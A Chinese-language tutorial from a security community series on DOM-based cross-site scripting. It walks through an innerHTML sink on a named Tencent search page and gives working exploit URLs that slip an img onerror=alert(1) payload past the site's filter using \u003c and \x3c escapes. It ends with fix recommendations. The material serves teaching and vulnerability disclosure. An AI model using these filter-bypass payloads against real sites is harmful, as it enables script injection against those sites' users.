8.DOM XSS[顯示輸出]

作者:心傷的瘦子

來自:PKAV技術宅社區

網址:http://www.pkav.net

------------------------------------------------------------------------------------

簡要描述:

反射型XSS部分,就到這裏了。接着我們進入DomXss的部分。DomXss相比反射型XSS,腦袋需要多思考一層。也就是說,我們關注的不僅是【輸出】了什麼,還要了解這個頁面裏,【javascript】拿這個【輸出】幹了什麼。爲了循序漸進,本例講到的是,【輸出】直接在源代碼可見的情況。

詳細說明:

1.在學習Dom Xss之前,先來補習點html,js的基礎知識。

<divid="a">xxx</div>
<script>
document.getElementById("a").innerHTML="yyyyyy";
</script>

解釋如下:

2.進一步,我們的yyyyyy,還可以是HTML代碼。

<divid="a">xxx</div>
<script>
document.getElementById("a").innerHTML="<img src=1>";
</script>

效果如下:

3.再進一步,JS的字符串中的字符可以寫爲unicode編碼。

譬如:<可以表示爲\u003c,>可以表示爲\u003e

不知道怎麼轉義的,可以使用gainover的工具。

工具地址:http://app.baidu.com/app/enter?appid=280383

也就是,我們上面的代碼,可以進一步寫爲:

<div id="a">xxx</div>
<script>
 document.getElementById("a").innerHTML="\u003cimg src=1\u003e";
</script>

4.上面看起來廢話好多,但是還是很重要的,這對於後面實例的講解很重要。

5.我們來看看一個具體的實例,地址如下:

http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=aaaaaaa&attr=133&stype=2&tname=star_second.shtml

和前面反射型的一樣,我們先看看輸出:

相關代碼,我也貼出來:

<strongid="titleshow">按職業1檢索:aaaaaaa</strong></div>
<script>
if("aaaaaaa"=="")
document.getElementById("titleshow").innerHTML="按地區檢索:全部明星";
if("職業1"=="職業1")
document.getElementById("titleshow").innerHTML="按職業檢索:aaaaaaa";
if("職業1"=="職業2")
document.getElementById("titleshow").innerHTML="按職業檢索:aaaaaaa";
if("職業1"=="職業3")
document.getElementById("titleshow").innerHTML="按職業檢索:aaaaaaa";
</script>

6.一共有6處,有一處圖上沒顯示,但是也沒用處,這裏不列出來了,看上面代碼中的5處。我們已經知道,<,>,"都被過濾了,用前面提到的某些技巧,似乎也無法直接XSS。那麼該怎麼辦呢?

7.在看到本教程的1,2,3部分後,聰明的你們不知道會不會想到些什麼呢?

對的,那就是這裏出現了innerHTML="[輸出]"的情況。

我們可以看到,上面代碼中,實際上只有一句是運行了的。我們重點看它。

if("職業1"=="職業1")
document.getElementById("titleshow").innerHTML="按職業檢索:[輸出]";

8.這裏[輸出]雖然過濾了<,>,但是並沒有過濾\。這樣一來,大家應該清楚,爲什麼上面要說到<可以寫爲\u003c了吧。就是爲了應付這種情況。

9.因此,我們可以構造缺陷點的代碼如下:

if("職業1"=="職業1")
document.getElementById("titleshow").innerHTML="按職業檢索:\u003cimg src=1 οnerrοr=alert(1)\u003e";

經過運行後,titleshow裏的HTML就會變爲<imgsrc=1οnerrοr=alert(1)>,從而彈出1

10.對應的,我們的利用代碼,可以寫爲如下,其中空格,我寫爲了\u0020

http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\u003Cimg\u0020src=1\u0020οnerrοr=alert(1)\u003e&attr=133&stype=2&tname=star_second.shtml

11.看看對應的源代碼,悲催的事情出現了,\u003c和\u003e竟然被騰訊過濾了。。。

12.別灰心,被過濾的原因,是因爲@Jannock大牛在烏雲報告過這個漏洞。

WooYun: 跨站腳本-可以讓戰場離得更遠(淺談騰訊架構缺陷)

其實我們還應該注意到上面圖片中,過濾的實際上是\u003c和\u003e,但是並沒有過濾\u0020,這說明,騰訊只是針對性的過濾,並沒有過濾反斜線。

13.其實呢,在JS字符串裏,<不光可以寫爲\u003c,還可以寫爲\x3c,>同樣可以寫爲\x3e。我們試試騰訊過濾了這個沒有呢?

http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0020οnerrοr=alert(1)\x3e&attr=133&stype=2&tname=star_second.s

14.對應源碼,看來沒過濾啊~~

哎呀,這次總算彈出來了。見漏洞證明

15.最後總結下。本例中是innerHTML的情況。

實際上只要是與改變頁面HTML內容相關的操作,都可能導致這種問題。

這也是網上介紹dom xss時,也經常會提到的東西,

比如

document.getElementById("y").innerHTML="xxxxxxxxxx";
document.write("xxxxxxxxxxxx");

 

還有一些網站,使用了第三方的JS庫,譬如jQuery時,會有

當然最後,還需要提到一些需要注意的地方。

$("#y").html("xxxxxxx");

這種情況下。xxxxx只能使用<img src=1 οnerrοr=alert(1)>這種方式來觸發JS。

而不能以 <script>alert(1)</script> 來觸發,因爲這種壓根不會執行<script>..</script>之間的內容。 IE下,可以使用 <script defer>alert(1)</script>。

漏洞證明:

修復方案:

此案例凸顯出開發人員的意識不足問題。指哪修哪,浮於表面的修復沒有任何意義。

方法1. 輸出時,過濾 \
方法2. innerHTML=encodeHTML([輸出])

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章